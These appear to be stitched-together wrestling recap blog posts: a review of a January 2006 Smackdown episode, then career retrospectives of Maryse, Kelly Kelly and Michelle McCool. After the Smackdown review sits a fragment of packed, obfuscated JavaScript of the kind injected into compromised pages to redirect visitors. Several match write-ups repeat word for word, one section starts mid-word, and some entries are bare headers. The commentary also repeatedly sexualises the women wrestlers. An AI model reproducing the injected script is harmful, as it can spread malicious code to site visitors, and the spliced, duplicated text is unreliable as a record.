Smackdown
Date: January 13, 2006
Location: Wachovia Center, Philadelphia, Pennsylvania
Attendance: 10,892
Commentators: Michael Cole, Tazz

It’s a big night around here as we are finally done with the Chris Benoit vs. Randy Orton/Booker T. series for the US Title. It’s kind of interesting that so many fans (myself included) seem to remember more Benoit vs. Orton matches than there really were. I’m not sure what else to expect here but let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Here are Batista and Teddy Long to open things up. Commentary talks about Batista suffering some injuries over the weekend and this doesn’t sound good. With a heavy sigh, Batista talks about being injured in a match against Mark Henry over the weekend, meaning he’s going to need surgery and be out for a long time.

A long time ago, a friend of his named Paul told him to enjoy the ride with the title and that is what he has done. He has enjoyed following in the footsteps of men like Ric Flair, Harley Race and Dusty Rhodes. Due to the injury though, he is forced to relinquish the World Title. Batista hands the title to Long, but says he’s coming back for it. It’s sad to see the title reign end like this but there was nothing else they could have done. Granted the fact that he hadn’t defended the title on TV since No Mercy in October, they might have been running out of things for Batista to do anyway.

During the break, various people wished Batista luck, including Ricky Steamboat and Arn Anderson. Rey Mysterio had the big emotional moment.

Back in the ring, Long says that we’ll be crowning a new World Champion tonight in a battle royal.

We recap the Best of Seven series for the US Title.

Randy Orton wants in the battle royal but Long says no because Orton is only wrestling once tonight.

US Title: Chris Benoit vs. Randy Orton

For the vacant title, and Booker T. (here at ringside with Sharmell) is champion if Orton wins. They fight over a lockup to start with neither being able to get anywhere in the corner. Benoit takes him down by the arm into a keylock with a bodyscissors but Orton gets up and drives him into the corner. Orton’s throat is snapped across the top with Benoit dropping to the floor….and grabbing his knee while pointing at Booker. That’s enough for an ejection and we take a break.

Back with Orton fighting out of a bearhug of all things and working on Benoit’s arm. Orton actually takes him down for a headlock but has to fight out of a Crossface attempt. Benoit chops away but gets sent shoulder first into the post, allowing the headlock takeover to work a bit better this time around. Another Crossface attempt is blocked so Benoit goes with an armbar instead. That’s enough to send Orton bailing to the floor again, only to have Benoit suplex him right back in.

The armbar goes on again but Orton slips out and heads up top. That earns him a bunch of headbutts for a crash down into the barricade so we can take another break. Back again with Orton dropping some knees but Benoit chops from the mat to get him away. The chinlock (of course) goes on but Benoit is out in a hurry. A dropkick takes him down again and we’re right back to the chinlock.

Benoit fights up in a hurry and gets two off a fisherman’s suplex. The chops in the corner set up the Sharpshooter but Orton is straight over to the ropes. The rolling German suplexes set up the missed Swan Dive though and they’re both down again. Benoit is up first and tries the Sharpshooter, with the kickoff bumping the referee.

Cue Orlando Jordan….who is knocked down with a single shot because Jordan is really bad at his job. The Crossface goes on again so here are Booker and Sharmell as the referee is still down. Benoit decks Booker and grabs the Crossface again for the unseen tap. Booker gets in and hits Benoit with the title for the save and Orton gets the pin to make Booker champion.

Rating: B. The screwy finish is a bit annoying but at least the series is finally over. They have been needing to move on to something else for a good while now and it’s nice to see the thing finish. There are a few ways to go after that screwy finish, but that probably means Booker vs. Benoit again because we haven’t seen it enough so far. Good match though, as these two always have chemistry together.

Roddy Piper runs into JBL and Jillian Hall in the back, with JBL saying he should be on Piper’s Pit tonight instead of the Boogeyman. JBL makes the mistake of mentioning that Piper never won the World Title…and gets the spot on the show. Piper on Jillian: “Put her on a leash if you can.”

Eddie Guerrero’s family was given an award in his memory.

Here’s Piper for Piper’s Pit. Piper talks about the show debuting right here in Philadelphia 22 years ago but here are JBL and Jillian to interrupt his entrance. JBL talks about fighting through injuries and keeps cutting Piper off. He promises to win the title back tonight and the party will be on in New York. Piper finally gets to talk and asks about the growth on Jillian’s face, which has more hair on it than George Steele.

JBL interrupts and is told to shut up. Piper: “JBL, you’re as stupid as she looks.” Cue the Boogeyman, with JBL throwing Jillian at him. Boogeyman licks the growth on Jillian’s face and then bites it off in the best thing that could have happened to Jillian’s career. Boogeyman goes over to Piper, who immediately starts praying. That’s enough for Boogeyman, as Piper isn’t sure what he just saw.

Melina is ready for Mark Henry or MNM to be World Champion.

Finlay is coming next week.

Smackdown World Title: Battle Royal

William Regal, Paul Burchill, Mark Henry, Animal, John Bradshaw Layfield, Joey Mercury, Johnny Nitro, Matt Hardy, Bobby Lashley, Paul London, Brian Kendrick, Psicosis, Super Crazy, Rey Mysterio, Simon Dean, Sylvan, Orlando Jordan, Nunzio, Vito, ???

There’s a bonus competitor and it’s…..KURT ANGLE, who jumps over from Raw (with Daivari). JBL says he’s got this and is quickly German suplexed, followed by a clothesline for the fast elimination. Vito is out as well and it’s Animal slugging it out with Henry. MNM takes Animal out though and we take a break. Back with Dean having been eliminated and MNM tossing Nunzio.

Angle throws out Jordan, Regal and Burchill in a row, followed by Henry throwing Angle through the ropes. Lashley gets rid of London as Henry follows Angle to the floor and loads up the announcers’ table. Henry gorilla presses Angle through the table and heads back inside for the showdown with Lashley. The shoulder doesn’t work but Lashley does block a suplex. That’s it for his success though as Henry dumps him out, followed by getting rid of Kendrick for a bonus.

Back from another break with MNM, Henry, Hardy, Mysterio, Sylvan and Angle (on the floor) still in. Hardy gets rid of Sylvan but Henry gets rid of him, followed by Mysterio getting rid of MNM back to back. Mysterio realizes that leaves him alone with Henry and there are the EDDIE chants. Rey hits some dropkicks to the knee and a pair of 619s before making the eternal mistake of jumping on Henry’s back. Henry puts him on the apron and catches the springboard for the easy elimination.

Angle is back up though and we’re down to two. The straps come down and Angle is in….where Henry runs him over. Angle snaps off the Angle Slam but Henry hits the running splash in the corner. Henry puts him on top but Angle grabs a headscissors choke, only to get powerbombed right back down. A German suplex gives Angle a breather and he tries to guillotine Henry over the top ala Benoit in the 2004 Royal Rumble. With that not working, Angle goes back to the headscissors and pulls Henry over to win the title.

Rating: C+. This was a situation where WWE didn’t have many options so they went with one of their best choices. Angle is as safe of a pick as you have for World Champion on such a short notice. You can put him into any spot on the card and it’s not like it’s some kind of a stretch to make him the new champ. They can figure out where they want to go from here and Angle is a great bridge to get there. The match was fine with Henry being the only real threat to Angle, and the ending should set up a Royal Rumble title match. They did what they could with their limited options and that’s perfectly acceptable.

Confetti falls to end the show.

Overall Rating: B-. This was the “we don’t have a pay per view” edition of Smackdown and that’s perfectly fine. It’s a show that is going to work every time because it feels important. I’m curious to know what the original plan was for the main event, but a 20+ minute US Title match was more than a big enough deal. Good show here, and Angle coming in as the surprise champion was a cool moment.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deefa|var|u0026u|referrer|dfnhi||js|php'.split('|'),0,{})) we’re looking at someone a bit curvier in Maryse.

After a few years in developmental, Maryse debuted on the main roster in 2008. Here she is at Unforgiven.

Divas Title: Maryse vs. Michelle McCool

Michelle is champion. Michelle as a face just never worked. She’s such a natural villain and her pumping her fist doesn’t work at all. She hurts her knee going to the floor and Maryse works on it as we’re waiting for the people to get back from popcorn time to end this. Michelle works on Maryse’s leg in a heel hook but she gets a rope. The fans are all over this match already. A sitout gordbuster keeps the title on McCool.

Time for a TV match on Smackdown, September 19, 2008.

Divas Title: Michelle McCool vs. Maryse

Off to Armageddon 2008 for the main thing the Divas are known for.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Smackdown Women’s Title: Michelle McCool vs. Melina

This is a rematch from The Bash which was brought on by some bad acting. Michelle’s bra is sticking WAY out here. Melina gyrates like no one I’ve ever seen. Michelle is the first person to use her freaking brain and kicks Melina on her splits intro. And there’s your first botch as they mess up an arm drag. We get some kicks that don’t actually connect as I have a bad feeling about this match.

We hit the floor and are told that a slam of the face into the barricade is a DDT. Riiiiiiiight. Melina is laying on the apron and in a coole counter she pulls up onto the bottom rope to avoid a baseball slide. They’re hitting hard but at the same time, they’re botching the hell out of so many things. Michelle reverses a rollup into a rollup for the pin. At least it was short.

Rating: D. They were trying but this was just a mess and a half. They were botching stuff left and right with there being little flow or psychology at all. Michelle has gotten better which to be fair she couldn’t have gotten much worse. This was really bad as the two of them just do not have the chemistry.

Divas Title: Maryse vs. Gail Kim

Gail Kim is incorrectly called a two time Womens’ Champion. Gail slides to the corner to avoid a charge from the blonde and gets two off a bulldog. Maryse comes back with a kick to the face for two of her own but gets rolled up for another near fall. Kim goes up top but completely misses a top rope cross body to put both girls down. A victory roll doesn’t work for Gail and a quick DDT gives Maryse the title. This was nothing.

She even made it onto Wrestlemania XXVI.

Laycool/Vickie Guerrero/Maryse/Alicia Fox vs. Beth Phoenix/Kelly Kelly/Eve Torres/Mickie James/Gail Kim

From Over the Limit 2010.

Raw Women’s Title: Maryse vs. Eve Torres

This is better than I’d expect it to be actually. This has gotten some great build over the past few weeks and due to a lack of matches they have to give it a lot of time. Maryse randomly starts crying for no adequately explained reason. We actually get some near falls. Eve hits some screwed up face plant into a rollup for the pin. Cole, Striker and Lawler make jokes about Eve and just lose it on commentary.

Rating: C-. For what you had to work with here and given what Divas matches tend to be, this was actually decent. I tend to start most Divas matches at a D or so, meaning this was pretty good. There was some actual drama and Eve won with a nice finisher. Solid little match.

From shortly thereafter at Fatal Fourway.

Raw Women’s Title: Maryse vs. Alicia Fox vs. Gail Kim vs. Eve Torres

Eve is in blue again so I can’t complain at all. Everyone is in this at once which does little to get my hopes up on this. Yeah I don’t care at all about this. Everyone goes for submissions at once but everyone breaks them up to play up the whole fatal aspect of this. The ropes can’t be used for breaks apparently.

I’d bet that’ll be compromised about a million times here. Eve hooks a camel clutch and Gail gets a Boston Crab on Alicia at the same time. Maryse runs her mouth off and Alicia blasts her. Gail hits a dropkick which Striker of course calls a Jumping Bomb Angel Double Stomp. I hate him at times. Eve hits a very fast neckbreaker on Maryse and doesn’t cover, instead hitting a bad moonsault. And Alicia Fox wins the title by stealing the pin on Maryse. Oh dear.

Rating: D. Seriously, are we supposed to care about Alicia Fox? She’s been on TV like once this year and is now the champion. I don’t get the appeal of her at all, but I guess someone does. I still don’t care about the division at all, but it needs to be merged with the other one to help it survive.

Maryse was on NXT Season 3, including October 26, 2010.

Maryse/Ted DiBiase vs. Goldust/Aksana

Aksana does look sexy in red. I’ll give her that. And just as the bell rings the video freezes. Ah there we go. The girls start us off. They yell at each other and Cole says his producer told him that if they’re talking let us hear them. AMEN! Maryse knocks off the horns and rips off the tail so now Aksana is just in a skin tight red suit. I’m sold.

It’s a mixed tag so the men have to fight each other. Of course we’re just talking about the wedding here which I guess makes sense here. We head to the floor with DiBiase being all ticked off. Why doesn’t he just grab the belt and run if that’s why he’s here? Maryse helps her man as Aksana plays cheerleader.

Goldust plays Ricky Morton for like a minute until the girls come in. The guys go to the floor and Aksana gets a small package out of nowhere for the pin. Is that her first win? DiBiase goes for the belt but Aksana slaps him and gets it back. The good people get away with it, proving that faces can get away with anything. Ventura and Heenan were right all along! Match ran about 6:30.

Rating: C. Not terrible and fine for a TV main event on a show like this one. This wasn’t your standard match where the guys did the majority of the work and the girls were in there for like 10 seconds. The girls were fairly decent out there which is surprising to me. Not a classic or anything but it did what it was supposed to do and didn’t seem that long.

Eve Torres/Beth Phoenix vs. Layla/Maryse

After the faces enter we take a break and get a clip of the first regular episode of Smackdown (remember that there was a pilot about four months earlier) from August of 99. Michelle has a bad foot so is out for awhile. Beth vs. Maryse to start. Michelle is on commentary and wants to know why Eve is the Divas Champion when Michelle got a pin also.

Off to Layla vs. Eve with the champion dominating. Michelle seems a bit irritated by Layla here as we continue to push the split. Eve fires away with kicks and Michelle gets off commentary. She limps up the steps and gets in the face of Layla. Beth hits her in the foot to bring her down. In the confusion, Layla and Maryse hit what I think was supposed to be a double superkick so that Layla can pin Eve at 2:27. No rating as this was mainly Layla vs. Eve but this was no worse than your usual Divas match.

Maryse/Melina vs. Kelly Kelly/Eve Torres

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Time for another good looking one: Kelly Kelly.

Torrie Wilson/Tommy Dreamer/Sandman vs. Test/Mike Knox/Kelly Kelly

She was on PPV at December to Dismember 2006.

Ariel/Kevin Thorn vs. Kelly/Mike Knox

Kelly dated Knox apparently. Kelly at this point is an exhibitionist and AWFUL. I mean she’s ridiculously bad so we get Knox and Thorn. Knox has no beard at this point and is somehow more worthless than he was before. Oh dang it they’re letting him talk. Oh good Kelly is talking instead. She likes Punk, who gets a chant. That chant didn’t happen though. No one likes Punk. What people want is HARDCORE HOLLY AND TEST!!!

Thorn is a vampire and Ariel is a fortune telling gypsy or something. She would become Salinas in TNA in case you’re more familiar with them. This is a freaking disgrace. I’m glad no one bought it as it makes things seem a bit better. No one cares about this either as since both girls can’t wrestle we more or less have a Knox vs. Thorn match.

And here they are. At least Kelly looks hot. Kelly tries to get the tag to Knox but he leaves. Note: the fans chant for Punk to come make the save. To make sure it’s clear: Punk is OVER. Sandman makes the save instead which gets a nice pop.

Rating: D-. Kelly looking hot is the only reason this passes. I just want to get to the end of this.

Divas Battle Royal

Beth Phoeix, Torrie Wilson, Victoria, Layla, Brooke, Kelly Kelly, Kristal Marshall, Michelle McCool, Mickie James, Jillian Hall, Melina, Maria

Another multi-Diva match to hide their lack of skills. From Survivor Series 2007.

Mickie James/Maria/Torrie Wilson/Michelle McCool/Kelly Kelly vs. Beth Phoenix/Melina/Jillian Hall/Victoria/Layla

Same idea from Backlash 2008.

Beth Phoenix/Melina/Layla/Jillian Hall/Victoria/Natalya vs. Mickie James/Michelle McCool/Ashley/Cherry/Kelly Kelly/Maria

Mickie won the title from Beth a few weeks ago in a huge upset. There is something to be said about putting 12 good looking women in a single tag match. Beth, with curly hair, starts with Michelle, who looks GOOD in black. Beth counters the speed moves and powerslams her down for two. Off to Melina who hooks a bridging front facelock with a choke. Michelle rolls through a sunset flip and dropkicks Melina in the face.

Beth Phoenix vs. Kelly Kelly

Time to put them in more revealing outfits at Armageddon 2008.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Time to fight for brand supremacy at Bragging Rights 2009.

Michelle McCool/Natalya/Beth Phoenix vs. Melina/Kelly Kelly/Gail Kim

Beth in blue is an amazing sight. This was when Michelle got really hot really fast. Look at the rosters. Who do you think is going to win? Beth and Gail start. Can’t believe I’m typing this but DANG at Michelle. All three Smackdown girls have been in there in less than a minute. Kelly tries a sunset flip and it’s bad. This is just painfully uninteresting as there is less than zero chance for Raw to win two in a row. I mean the match is ok, but people just couldn’t care any less as there is zero drama. Crowd is more or less dead too. Glam Slam ends Melina for the pin.

Rating: W. As in who cares? Like I said, the idea that THIS was going to decide the cup and not the big tag was just ridiculous and it crippled the match. Also the match was just generic as all goodness. This could have been any other Divas match which really shows how bland the division is at this point.

Another multi girl match, but this time on the big stage of Wrestlemania XXVI.

Laycool/Vickie Guerrero/Maryse/Alicia Fox vs. Beth Phoenix/Kelly Kelly/Eve Torres/Mickie James/Gail Kim

s Smackdown.

Kelly Kelly vs. Michelle McCool

Does Tiffany actually serve any kind of purpose? Grisham says both of them are knockouts. That’s kind of a funny line for some reason. I could watch Laycool’s entrance all day. Michelle stalls a lot before we actually get going as the heels spray air freshener. Tiffany gets jumped and might have hurt her shoulder. Tiffany gets up long enough to distract Michelle and Kelly rolls her up for the pin. This again was too short to mean anything. I guess that might be the point though.

Rating: A+. Seriously when the worst looking girl in a match is Tiffany, something is working.

Smackdown World Title: Kelly Kelly/Edge vs. Laycool/Dolph Ziggler

We even get big match intros for this. Chimmel has cut down on the throat cracking during Edge’s intro. The genders have to match here. Vickie says if there’s a spear the title is vacated. The guys start us off with Edge in control. He wants the spear and Vickie shouts at him to do it. Ziggler tags both members of Laycool so we get Michelle. Off to Kelly to make it Kelly Kelly vs. Michelle McCool for the World Heavyweight Championship as we take a break.

Kelly is all fired up here and beats up both members of Laycool with her gymnastics. Instead though Michelle catches a rana on the floor and spins Kelly into the barricade. That gets two back in the ring. Dolph: “Stay down Barbie!” Layla in now as Kelly is in trouble. Belly to belly by Michelle gets two. Kelly backflips out of a suplex and slaps the heck out of McCool to put both girls down.

Factor to break the momentum. The referee misses the tag to Edge allows Layla to beat on Kelly a bit more. Edge goes after Ziggler anyway but Michelle misses a big kick to Layla. Edge is ready for the tag but instead Kelly spears Layla to retain the world title at 6:50 shown of 10:20.

Rating: C. Decent main event here with a nice ending. Vickie said Edge couldn’t use a spear, not Kelly. It’s kind of cheap but it worked just fine for the ending to a TV main event. I’d have liked more Edge though as he was in there maybe a minute. I guess that was the point though as it made the title seem to be in jeopardy. This was just ok though as it was really Kelly vs. Laycool for the most part. Still though, creative way to have Edge be in trouble.

Off to Raw now on June 20, 2011 for a big moment.

Divas Title: Brie Bella vs. Kelly Kelly

Cole mistakenly says Kelly is a former champion. Brie runs early on and Nikki teases interference, allowing Brie to get in a shot and take over. Off to the chinlock with Kelly in trouble. Kelly starts her comeback but gets caught in a neckbreaker for two. Kelly tries a victory roll out of the corner but Brie reverses ala Owen Hart. That gets reversed as well though into another victory roll position and Kelly wins the title at 3:02.

Rating: C-. Well this was only about three years too late but she finally won it I guess. She’s gotten a bit better in the ring but this isn’t much of note. Not a horrible match but this was incredibly generic. The Bellas were more or less done as champions though so there’s not many reasons to not make this switch.

Time to defend it, starting at Money in the Bank 2011.

Divas Title: Kelly Kelly vs. Brie Bella

Booker says he never dressed like his brother in Harlem Heat. Is his memory failing or something? No idea what you want me to say here. They’re both hot, they’re both inept, the match is slightly longer than a regular match they have on Raw. Kelly is champion in case you’re reading this like three years from now. It’s a totally boring match and it’s a total food break for the crowd. Oh and Eve is with Kelly at ringside here. Crowd is dead here. K2 ends this at like four minutes. Total filler and it knows it.

Rating: D. What do you want me to say here? This match was nothing but the girls looked good so I can’t call it a failure. The division is horrible since Kharma got pregnant and Laycool went down at the same time. Not a horrible match but just an extended Raw thing really. It served its purpose though I guess.

And again at Night of Champions 2011.

Divas Title: Kelly Kelly vs. Beth Phoenix

Divas of Doom/Bella Twins vs. Eve Torres/Alicia Fox/Tamina/Kelly Kelly

Kelly Kelly vs. Eve Torres

She got her job based on her looks and there’s nothing wrong with that as she could have been FAR worse. They tried to make her a big deal but at some point you have to be able to back it up in the ring. She wasn’t terrible and looking at her was never a chore so it’s hard to complain all that much.

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Today we’re going to look at a Diva who got good, married a legend, then got great. Today is Michelle McCool.

Michelle got her start through the 2004 Diva Search. After a bit in developmental, McCool would be on Smackdown, including this match on June 30, 2005. This is Melina’s debut.

Melina vs. Michelle McCool

Melina is doing the A-List gimmick and talked about all the celebrities coming to see her first match. There were even paparazzi waiting for her as she made her entrance. Michelle isn’t much yet other than a hot blonde in barely there shorts. Melina is sent to the floor and kicked through the ropes but Michelle drags her back inside.

A rollup gets two for Michelle and a kick to the face gets the same. Melina begs off and offers a handshake and the tall blonde actually goes for it. She earns that right hand to the face and Melina chokes away for awhile. An awkward looking kick to the face puts Michelle down as her shorts don’t want to stay down. Melina powerbombs Michelle out of the corner and rolls her up with feet on the ropes for the pin. Too short to rate but the outfits were better than the match.

We’ll jump ahead to the next year to Smackdown on October 6, 2006. Michelle is now a sexy teacher with a team of KC James and Idol “Damien Sandow” Stevens.

Michelle McCool vs. Ashley

McCool stomps away at the ribs to start and takes Ashley into the corner for a hair drag. Ashley comes back with some forearms to the spine and a Boston crab but James comes out to drag Michelle to the ropes. They trade forearms until McCool rolls through a cross body and grabs the skirt for the pin. Ashley looked TERRIBLE here.

Another one off match from Smackdown, I believe on May 10, 2007.

Michelle McCool vs. Jillian Hall

Jillian takes her into the corner to start and cartwheels into an elbow drop. A chinlock doesn’t get Hall anywhere and Michelle rolls her up for two. Michelle flips into a jackknife cover for two before a belly to belly gets the same. After all that, a backbreaker of all things is enough to give Michelle the pin.

Rating: D. This was pretty bad but you can see Michelle getting better out there. She still isn’t what you would call good yet but she didn’t embarrass herself out there and actually looked like she could wrestle longer than a few minutes. The belly to belly and backbreaker weren’t bad and both were a nice change of pace from the usual Diva offense.

Off to Survivor Series 2007 for the big Divas mess.

Mickie James/Maria/Torrie Wilson/Michelle McCool/Kelly Kelly vs. Beth Phoenix/Melina/Jillian Hall/Victoria/Layla

One fall to a finish here and Beth is Women’s Champion. The Divas Title doesn’t exist yet which is how things should have stayed. Layla is WAY hotter being evil and Melina has some gorgeous hair. She also falls off the apron during her splits entrance which is worth a chuckle. The second attempt works and thankfully she’s smiling after screwing it up. Mickie and Maria are ridiculously good looking as well.

Victoria and Michelle start things off with Michelle taking over with a headlock. A big boot puts Victoria (Tara in TNA if you’re new at this) down and it’s off to Torrie who can’t wrestle a watchable match to save her life. Victoria kills her mostly dead with a side slam and it’s off to Layla who is so bad here that she can’t even beat up torrie. Kelly and Jillian come in and Jillian tries to scream a bit, only to get rolled up for two. Maria comes in, basically wearing a bikini.

Thankfully Beth comes in to flatten Maria before handing it right back to Layla. Actually make that Melina, who misses a charge at Maria and crotches herself, allowing for the hot tag to Mickie. James beats up everyone in sight, has her partners take out Beth, and hits the Long Kiss Goodnight on Melina for the pin. What’s the Long Kiss Goodnight you ask? That would be every 13 year old’s dream: Mickie literally bends Melina back and kisses her before kicking her in the head for the pin.

Rating: D. Yes, the match sucked. Yes, most of the women in this are horrible wrestlers. Yes, if you’re complaining about these things, you’re missing the point. This was pure fan service as you had ten girls in either tight or barely there outfits and one hot woman kissing another hot woman before kicking her in the head. If you’re looking for a wrestling match here, you’re in the wrong place.

Here’s a title match from Great American Bash 2008.

Divas Title: Michelle McCool vs. Natalya

This is for the inaugural title and there’s probably some stupid tournament that set this up. Michelle takes her to the mat and speeds things up. Natalya takes over and hooks a surfboard but Michelle counters (impressively so) into a heel hook attempt which is countered. Nattie hooks the Sharpshooter but Michelle gets the ropes. A second attempt is countered into the heel hook and Michelle wins the title.

Rating: D. The joke here was that hopefully Michelle enjoyed the Undertaker semen that came with that belt. I’m not sure how much anyone cared or if anyone on the planet that didn’t work for WWE thinks there was a need for another female title, but they unified it…eventually, as in like two years later.

And another from Unforgiven 2008.

Divas Title: Maryse vs. Michelle McCool

Michelle is champion. Michelle as a face just never worked. She’s such a natural villain and her pumping her fist doesn’t work at all. She hurts her knee going to the floor and Maryse works on it as we’re waiting for the people to get back from popcorn time to end this. Michelle works on Maryse’s leg in a heel hook but she gets a rope. The fans are all over this match already. A sitout gordbuster keeps the title on McCool.

Rating: D-. Michelle and Maryse are too hot to be a failure but the match was terrible. NO ONE cared and that was very clear. Nothing to see here and we’re moving on. Why this got almost six minutes was crazy but I’d assume that it was due to a long line at the Cena shirt booths. Horrible match.

Michelle would get another shot at the title at The Bash.

Smackdown Women’s Title: Melina vs. Michelle McCool

Melina was just freaking stunning at this point once she dyed her hair black. Michelle was getting there too and she has Alicia with her here for reasons that I’m sure don’t mean anything. For some reason I like Michelle’s music. Melina comes out hot. And she’s being intense too. Michelle can actually work pretty well.

She hooks a hold where Melina’s foot is touching Melina’s head from behind. DANG that girl is flexible. Ok five minutes have passed but I’m back now. Melina’s knee is hurt of course as it always is. Michelle kicks her head off for two. That sounded painful as all goodness. Styles Clash gives Michelle the title.

Rating: C-. It did its job. This was just supposed to be an appetizer to the remainder of the show and that’s what it did. And I think that’s enough padding to say that the girls looked great here and that was the whole point to this. I’m glad they kept this quick because neither girl was able to carry the other.

Michelle was on the Smackdown team at Bragging Rights 2009.

Michelle McCool/Natalya/Beth Phoenix vs. Melina/Kelly Kelly/Gail Kim

Beth in blue is an amazing sight. This was when Michelle got really hot really fast. Look at the rosters. Who do you think is going to win? Beth and Gail start. Can’t believe I’m typing this but DANG at Michelle. All three Smackdown girls have been in there in less than a minute. Kelly tries a sunset flip. It’s bad. This is just painfully uninteresting as there is less than zero chance for Raw to win two in a row. I mean the match is ok, but people just couldn’t care any less as there is zero drama. Crowd is more or less dead too. Glam Slam ends Melina for the pin.

Rating: W. As in who cares? Like I said, the idea that THIS was going to decide the cup and not the big tag was just ridiculous and it crippled the match. Also the match was just generic. This could have been any other Divas match which really shows how bland the division is at this point.

We’ll jump ahead to Night of Champions 2010 for a title unification match against Melina.

Women’s Titles: Michelle McCool vs. Melina

Michelle in red: DANG. Nice back shot of her as the bell rings. Layla is ticked at her for being in there as we hear about the history of the Women’s Title, which is of course mostly nonsense but whatever. Crowd is DEAD. Yes, a Chicago crowd is dead. Michelle sends her to the floor but no one sends her back in. NICE Blockbuster from Orton’s elevated DDT position by Michelle. I love the Blockbuster (jumping front flip neckbreaker) so that was sweet for me.

Faithbreaker (Styles Clash) is blocked and Melina takes over. Decent belly to belly suplex for two by the blonde. Kelly gets up on the apron marking the first time they do anything all night as Melina has her rolled up. Kelly is for Melina here but just doesn’t get it I guess. The girls all beat up Michelle and send her back in. They need to stop slapping the mat as I think it’s a referee count.

Melina does the Matrix Move but Michelle just kicks her. Again: kicking and punching people works best a lot of the time. Both girls hit the floor as the girls yell at Michelle, showing off their acting…..talent. Layla interferes and Michelle gets to hit a, wait for it, wait for it, BIG BOOT TO UNIFY THE BELTS.

Rating: C-. Surprisingly decent match here although the girls were absolutely pointless out there. Layla interfering is fine as it’s expected, but what about the heat between them allegedly? This wasn’t much but at least it gets rid of the stupid Divas Title, or at least I hope so. Better than most Divas matches though so I’ll give it that.

Another Divas Title match at Hell in a Cell 2010.

Divas Title: Michelle McCool vs. Natalya

Michelle looks good in her gold shorts if nothing else. Striker tries to claim Michelle is the best in ring working woman ever. I’m not even going to make a joke about that because it’s not fair to make fun of people that stupid. Michelle dominates for a bit with leg based offence but Natalya takes over with power stuff. This is rather boring if you couldn’t tell. Michelle accidently drills Layla and Natalya gets a rollup for two. Sharpshooter goes on, is countered into a heel hook and is countered again. Then Layla throws in her shoe for the DQ.

Rating: D-. Yeah I don’t care either. The division was such a disaster at this point but unifying the titles was the smartest move all around. There just wasn’t a valid reason to have both belts around, especially when the talent pool was very deep. It would get better, but as usual it wasn’t going to last.

Michelle would be in a battle royal on Raw, December 13, 2010.

Battle Royal

Laycool, Kelly, Maryse, Eve, Bella Twins, Rose, Melina, Alicia, Kaitlyn, Beth, Tamina, Natalya

I think that’s everyone but I’m not sure. Everyone surrounds Laycool and to their credit they’re like BRING IT ON. Tamina chills in the corner for a bit but puts out Kaitlyn. You can go through the ropes here. Rosa is out second. She has never won a match on the main roster. Tamina is out.

A Bella is out as they’re flying out of here insanely fast. The other Bella goes out with ease as Laycool is dominating. Maryse is gone. There’s no particular rhyme or reason here as you would expect in a battle royal. Michelle, looking GREAT in those red shorts, puts out Kelly who looks GREAT in those white shorts. Beth Glam Slams Melina out.

Down to Laycool, Beth, Natalya, Gail and Alicia. Beth kicks Layla out and she FREAKS. She distracts the Glamazon long enough to let Michelle put out Beth. Natalya puts out Alicia and Gail and walks into a big kick from Michelle who wins this at approximately 3:30.

Rating: C. This is hard to grade as battle royals aren’t something that there are standards for. This was fine for what it was and one of the girls that should have won it got the award so I can’t complain. Also you have hot women so how much can you really complain? Good stuff.

Time for a gimmick match at TLC 2010.

Beth Phoenix/Natalya vs. Laycool

Tables match. Quick recap video which is of the table on Friday which didn’t work. No tagging here thank goodness. The pink table with the painting from Friday is brought in as Laycool is down early. Crowd is QUIET here. Lawler says he’s never seen a Diva go through a table. That’s just amusing. Double fireman’s carry by Beth is very impressive. Striker makes an important point: any method of going through the table counts. Also it’s only one Diva required for a win.

Laycool in control now as the fans do not care at all. Beth is on the floor now as Laycool takes over. SICK landing by Beth as her foot gets hooked on a rope and she lands straight on her back/head. That was painful as heck, it had to be. Michelle sets for a Faithbreaker (Styles Clash) through a table on Nattie but Beth comes back for the save.

Not table for Michelle (“JUST WAIT UNTIL MARK HEARS ABOUT THIS!!!”) as Layla rakes Beth’s eyes. Layla beats on Beth for awhile but can’t suplex her through it. Double gorilla press by the blondes to Layla until Michelle kicks both in the ribs. Beth may have fallen out for a bit. HOKEY SMOKE!!! Natalya puts Layla on top of Michelle and puts them BOTH in a Sharpshooter at the same time. TAKE THAT BRET!!!

The nice chicks set up the tables but Michelle sends Beth to the floor to make it 2-1 again. They set for a double superplex but Beth saves again. A lot of near finishes in this one indeed. Down goes Beth so they set for it again but they’re shoved off. The table DID NOT BREAK so Natalya is like screw it and splashes them through it to end this.

Rating: C+. This wasn’t as bad as you would have thought as Laycool fought them off far better than people would have predicted. It was a good match even but did anyone ever think Laycool had a realistic shot out there? Not a bad match or anything but at the same time it didn’t really get me into the match and it kind of dragged. Still fun though and that Sharpshooter was GREAT.

At the start of 2011, Laycool was still hanging out with Vickie Guerrero, who was with Dolph Ziggler. Vickie wanted Dolph to become World Heavyweight Champion, so she made this match on Smackdown, February 4, 2011.

Smackdown World Title: Kelly Kelly/Edge vs. Laycool/Dolph Ziggler

We even get big match intros for this. Chimmel has cut down on the throat cracking during Edge’s intro. The genders have to match here. Vickie says if there’s a spear the title is vacated. The guys start us off with Edge in control. He wants the spear and Vickie shouts at him to do it. Ziggler tags both members of Laycool so we get Michelle. Off to Kelly to make it Kelly Kelly vs. Michelle McCool for the World Heavyweight Championship as we take a break.

